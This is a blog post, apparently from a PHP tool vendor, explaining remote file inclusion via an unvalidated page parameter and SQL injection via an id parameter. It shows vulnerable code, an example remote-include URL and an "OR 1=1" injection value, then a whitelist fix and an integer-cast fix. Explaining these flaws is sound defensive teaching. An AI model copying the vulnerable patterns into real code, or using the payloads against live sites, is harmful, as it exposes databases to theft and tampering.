Some practices are very common when programming in PHP – that is because that language has a great ease of learning and also provides the user with an extremely agile development environment.

The didactic combined with agility provided by PHP, however, can open very serious security holes in applications developed in language. So it’s important to know about potential security breaches. This eminent risk can turn into a more serious problem if a malicious user decides to explore them within an application created without considering the validation of certain important elements.

php security flaws

When working with sites or applications in PHP, it is common to find screens that are loaded via includes from one parameter indicated in the URL. This parameter is used by the $ _GET method to return data:

<?php

// Checks if the variable $_GET[‘page’] exists

if (isset($_GET[‘page’])) {

// Rescues the value of the variable $_GET[‘page’]

$file = $_GET[‘page’];

} else {

// If there is no variable it defines a default value

$file = ‘home.php’;

}

includes ($file); // Includes the file

?>

Therefore, the pages will be loaded from a call in the url:

http://www.test.com/?page=contact.php

However, the code written this way hides a very serious security breach. A malicious user can add an external file path in the application and then run it from the page of the call.

http://www.test.com/?page=http://www.site.com/script-deletes-database.php

That way, you can then modify any application information. This type of attack is to first target the application database.

So that this problem is resolved and the risk refiled, you need to specify in the application which pages they are allowed to charge. An array with the name of each of the available pages will indicate to the application which ones are allowed for access and any other call will be routed to home.

<?php

// List with the files that can be called in the URL

$allowed = array(‘home.php’, ‘products.php’, ‘contact.php’, ‘company.php’);

// Checks if the variable $_GET[‘page’] exist and also if it is part of the list of allowed files

if (isset($_GET[‘page’]) AND (array_search($_GET[‘page’], $allowed) !== false)) {

// Rescues the value of the variable $_GET[‘page’]

$file = $_GET[‘page’];

} else {

// If there is no variable $_GET or it is not in the list of the allowed ones, defines a default value

$file = ‘home.php’;

}

includes ($file); // Includes the file

?>

Another common practice in PHP applications is the use of IDs – codes of records  in the database – so that from them a whole page is loaded. This practice is very common in virtual stores developed with that language. This is the major security failure for attacks such as SQL Injection to happen.

In the following code you can view exactly where the failure occurs:

<?php

// URL exemple:  http://www.test.com/products.php?id=15

// Saves the URL parameter in a variable

$product = $_GET[‘id’];

// Assembles the query in MySQL

$sql = “SELECT * FROM `products` WHERE `id` = ‘”.$product;

// Executes the query

$query = mysql_query($sql);

// Saves the result (array format) in a variable

$result = mysql_fetch_assoc($query);

?>

The query in MySQL would be as follows:

SELECT * FROM `products` WHERE `id` = ’15’

If all calls were made that way there would be no problem, but if the url receives a parameter with SQL statements, a single query can generate a problem. If the query was made from the url http://www.meusite.com.br/produtos.php?id= ‘OR 1 = 1 OR’ ‘=’ a statement in the database would be in the following format.

SELECT * FROM `products` WHERE `id` = ” OR 1=1 OR ” = ”

This query would return all database products and thus a very serious problem would happen. Depending on the volume of information, all the application could catch and, depending on the display of information, it would be possible to access all product information of the table.

So for this security flaw to be resolved, there needs to be an information validation before the query is triggered. In the line of the code where the parameter has transposed its value the variable that will be used in the query there must be a validation of the integer value:

$product = (int)$_GET[‘id’];

When performing such validation, no other information, but na interger number, is accepted.

These are two of the most common security flaws identified in PHP web applications. Both treated with practical and quick actions, but they represent a lot for the security of the data that the application stores. So to apply, validate and test security best practices is essential.

You might also like…

PROCESAMIENTO AJAX EN SCRIPTCASE

Ajax en los formularios de Scriptcase puede usarse para recargar un campo de tipo de select basado e...

IMPORTAR IMAGENES DE LA BASE DE DATOS Y UTILIZAR CLASES DE BOOSTRAP

Como muchas personas ya saben, Bootstrap es una biblioteca de front-end libre y de código abierto p...

TENDENCIAS DE DESARROLLO WEB PARA 2017

Usted verá en este post tendencias para 2017 en Diseño Web, en el medio digital y en el desarrollo...

Comment this post

Get new posts, resources, offers and more each week.

We will use the information you provide to update you about our Newsletter and Special Offers. You can unsubscribe any time you want by clinck in a link in the footer of any email you receive from us, or by contacting us at sales@scriptcase.net. Learn more about our Privacy Police.